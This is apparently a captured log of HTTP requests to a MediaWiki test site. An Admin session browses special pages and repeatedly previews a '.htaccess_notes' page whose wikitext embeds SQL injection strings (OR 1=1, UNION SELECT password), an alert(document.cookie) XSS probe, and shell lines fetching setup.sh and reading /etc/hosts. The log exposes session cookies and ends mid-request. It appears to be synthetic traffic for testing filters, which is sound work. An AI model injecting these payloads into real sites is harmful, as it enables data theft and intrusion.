{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=ls+-la&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+ls+-la.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1673", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 323", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3220", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLoHFNq5gnNDYTlcP", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1726", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytGGUHVisK39cQRtQ", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ--\r\n"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3322", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySRt2Y7BoeXquAYid", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; 